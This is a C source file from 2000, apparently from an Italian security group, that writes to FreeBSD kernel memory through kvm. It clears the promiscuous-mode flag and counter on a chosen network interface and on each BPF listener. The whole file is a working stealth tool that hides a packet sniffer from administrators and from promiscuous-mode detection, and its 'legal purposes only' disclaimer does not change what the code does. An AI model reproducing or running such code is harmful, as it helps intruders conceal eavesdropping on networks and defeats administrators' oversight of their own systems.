/*
 * Name: Total obscurity for BPF Promisc Mode
 * Date: Sat Mar 25 16:40:12 2000
 * Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
 *
 * SoftProject 2000 - Digital Sekurity for Y2k
 * Sikurezza.org - Italian Security MailingList
 *
 * COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
 * Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
 *
 * Tested on: FreeBSD 3.4-RELEASE FreeBSD 3.4-RELEASE #4: Fri Mar i386
 *
 * Give more obscurity of P53-10 tools... note here as in apk's code if we 
 * change IFF_PROMISC in ifnet structure .... 
 * when your System calls a ioctl(SIOCSIFFLAGS) for that interface, it invokes  
 * if_ioctl() and allframes bit for that device will be disabled because test 
 * in init function is done for example in this way:
 *
 * if(ifp->if_flags & IFF_PROMISC) {
 *	AL_SETBIT(sc, AL_NETCFG, AL_NETCFG_RX_PROMISC);
 * } else {
 *	AL_CLRBIT(sc, AL_NETCFG, AL_NET_CFG_RX_PROMISC);
 * }
 *
 * SIOCSIFFLAGS is not the only situation for a call to init function for that
 * device (see BFi-8 for further information)
 *
 * This code was written in order to test a my tool ... Modification or use of
 * this source code is intended only for legal purposes, It was coded for no
 * malicious aims.. perhaps it doesn't work ;)
 *
 * 
 * Compile with: cc obscura.c -lkvm
 *
 */


#include <stdio.h>
#include <string.h>
#include <sysexits.h>
#include <err.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_var.h>
#include <net/bpfdesc.h>
#include <nlist.h>
#include <kvm.h>

#define	Error(x)	errx(EX_UNAVAILABLE, x);

void	usage		__P((char *));
void	bpf_zero	__P((kvm_t *, struct ifnet *));

struct nlist list[] = {
	{"_ifnet"},
	{NULL}
};

int 
main(int argc, char **argv)
{
	struct ifnethead ifh;
	struct ifnet ifc, *ifp;
	char ifname[IFNAMSIZ];
	kvm_t *kd;
	
	if(argc!=2)
		usage(argv[0]);

	if(!(kd=kvm_open(NULL, NULL, NULL, O_RDWR, NULL)))
		Error("kvm_open()");

	if(kvm_nlist(kd, list) == -1)
		Error("kvm_nlist()");

	if(!list[0].n_value)
		Error("checking n_value");

	kvm_read(kd, list[0].n_value, &ifh, sizeof ifh);
	ifp = ifh.tqh_first;

	for(;ifp;ifp = ifc.if_link.tqe_next) {

		kvm_read(kd, (u_long)ifp, &ifc, sizeof ifc);	
		kvm_read(kd, (u_long)ifc.if_name, ifname, sizeof ifname);
		snprintf(ifname, IFNAMSIZ, "%s%d", ifname, ifc.if_unit);
	
		if(!strcmp(ifname, argv[1])) {
			printf("%s found ... promisc mode ", ifname);
			if(ifc.if_flags & IFF_PROMISC) {
				printf("(found)\n");
				if(ifc.if_pcount) 
				/* I clear this ...  
			 	 * you can do a perfect thing by changing this
			 	 * in bpf_zero() decreasing for each descriptor
			 	 * found ...
			 	 */ 
					ifc.if_pcount = 0;
				ifc.if_flags &= ~IFF_PROMISC;
				kvm_write(kd, (u_long)ifp, &ifc, sizeof ifc);
				printf("BPF Analysis for %s interface\n",
					ifname);
				bpf_zero(kd, &ifc);
			}else
				printf("(not found)\n");
			
		} else
			printf("skipping -> %s\n", ifname);


	}

	kvm_close(kd);
	return 0;
	
}

void
usage(char *name)
{
	printf("FreeBSD - Promisc Total Obscurity\n"
	       "Warning this tool is intended for testing of ks...\n"
	       "Don't use it for illegal purposes\n\n"
	       "pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]\n\n");
	printf("Usage: %s interface\n", name);
	exit(1);
}

void
bpf_zero(kvm_t *kd, struct ifnet *ifp)
{
	struct bpf_if	ibpf;
	struct bpf_d	dbpf, *pdbpf;
	register int count = 0;

	kvm_read(kd, (u_long)ifp->if_bpf, &ibpf, sizeof ibpf);
	pdbpf = ibpf.bif_dlist;

	for(; pdbpf; pdbpf = dbpf.bd_next) {
		kvm_read(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
		printf("#%d listener has %spromisc mode enabled", 
				++count, (!dbpf.bd_promisc) ? "no " : " ");

		if(dbpf.bd_promisc) {
			printf(" (changed)");
			dbpf.bd_promisc = 0;
			kvm_write(kd, (u_long)pdbpf, &dbpf, sizeof dbpf);
		}

		putchar('\n');
	}
}

